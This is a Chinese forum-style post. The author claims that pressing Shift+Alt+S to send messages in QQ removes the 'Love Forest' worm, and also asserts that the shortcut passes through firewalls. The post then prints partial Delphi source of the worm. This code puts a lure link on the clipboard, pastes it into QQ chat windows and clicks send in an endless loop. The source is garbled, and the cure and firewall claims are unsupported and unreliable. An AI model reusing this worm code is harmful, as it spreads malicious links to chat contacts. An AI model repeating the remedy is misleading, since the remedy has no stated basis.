三键清除爱情森林病毒[原创]

今天来网吧上网，真是晕死。
一开QQ发送信息时，一看聊天记录：“你也好http://sckiss．yeah．net有我的照片，快去看看！”
我倒，我立刻知觉糟糕了，爱情森林病毒。
我立刻找到杀爱情森林的软件，晕！
网吧安全模式禁止下载。
虽然可以到一些网站去想办法解决下载问题，不过那不是我愿意的。
无意中，我发觉到了，就是利用 QQ光速发的方法来发信息（shift+alt+s 这对组合键发送信息可以穿过防火墙，不受双方防火墙的限制，所以一直这个组合键发信息速度比ctrl+回车快)，而且在发信息的时候
你不得敲回车键，空格允许。。。
一开始我发现这个可以控制后面的那段爱情森林病毒信息，也就是说，那段跟在后面的代码可以令他出现不了，我就一直使用这个发送聊天信息。
最后！我发现，代码彻底消失，爱情森林病毒彻底清除！！
具体是什么原理，我还想不明白，也没时间去研究了。
希望谁能完成这个任务
以下是爱情森林病毒的部分代码：
unit qqworm;
interface

uses
Windows Messages SysUtils Variants Classes Graphics Controls forms
Dialogs StdCtrls ExtCtrls ComCtrls;

private
{ Private declarations }
procedure MySendMessage;
procedure MyTalkEach;
public
procedure QQStart;
{ Public declarations }
end;

implementation

{$R *.dfm}

procedure MySendMessage;
var
hParenthButtonhMemoclp: HWND;
texta:TCustomEdit;
begin
texta:=btw...给你一个惊喜——exf.ecv.tk;
texta.CopyToClipBoard;
try
// 找发送消息的QQ 窗口
hParent := FindWindow(nil 发送消息);
// 然后找回话时用的编辑窗口Point 函数用于返回一个TPoint 类型变量
hMemo := ChildWindowFromPointEx(hParent Point(50 100)CWP_ALL);
// 找到“送讯息”按钮的句柄
hButton := FindWindowEx(hParent0nil送讯息(&S));
if (hParent = 0) or (hMemo = 0) or (hButton = 0) then
{MessageBox(Handle 没有找到发送窗口，请重试！ 错误 MB_ICONWARNING)}
MyTalkEach
else
begin
// 向发送消息中的回话编辑框发送粘贴消息
SendMessage(hMemoWM_PASTE00);
// 向“送讯息”按钮送单击消息以模仿按键发送回话
SendMessage(hButtonBM_CLICK00);
end;
except
// 如果发生意外错误给出提示
MyTalkEach;
{MessageBox(Handle 发送消息出错，请重试！ 错误 MB_ICONWARNING);

end;

end;
procedure MyTalkEach;
var
hParenthButtonhMemo: HWND;
texta:TCustomEdit;
begin
texta:=btw...给你一个惊喜——exf.ecv.tk;
texta.CopyToClipBoard;

try
// 找对话模式中窗口
//ShowMessage(test);
hParent := FindWindow(nil 对话模式);
// 找到对话模式中的回话编辑框
hMemo := ChildWindowFromPointEx(hParent Point(50 300)
CWP_ALL);
hButton := FindWindowEx(hParent0nil送讯息(&S));
// 如果有任何一个句柄没有找到都不能完成发送，并给出提示
//if hMemo=0 then
// ShowMessage(1);
if (hParent = 0) or (hMemo = 0) or (hButton = 0) then begin
{MessageBox(Handle 没有找到发送窗口，请切换到双人对话模式！ 错误
MB_ICONWARNING);}
MySendMessage;
//ShowMessage(go);
end
else
begin
// 向对话模式中的回话编辑框发送粘贴消息
SendMessage(hMemoWM_PASTE00);
// 向“送讯息”按钮送单击消息以模仿按键发送回话
SendMessage(hButtonBM_CLICK00);
end;
except
// 如果发生意外错误给出提示
MySendMessage;
{MessageBox(Handle 发送消息出错，请重试！ 错误
MB_ICONWARNING);}
end;
end;

procedure QQStart;
var
k:integer;
Begin
k:=0;
while k=0 do
Begin
Sleep(500);
MySendMessage;
End;

有谁能找到原理，麻烦告诉我一声，满足我的好奇心：QQ 46222238 或 18701880
欢迎转载，但请注明出处，不要删减文中内容 谢谢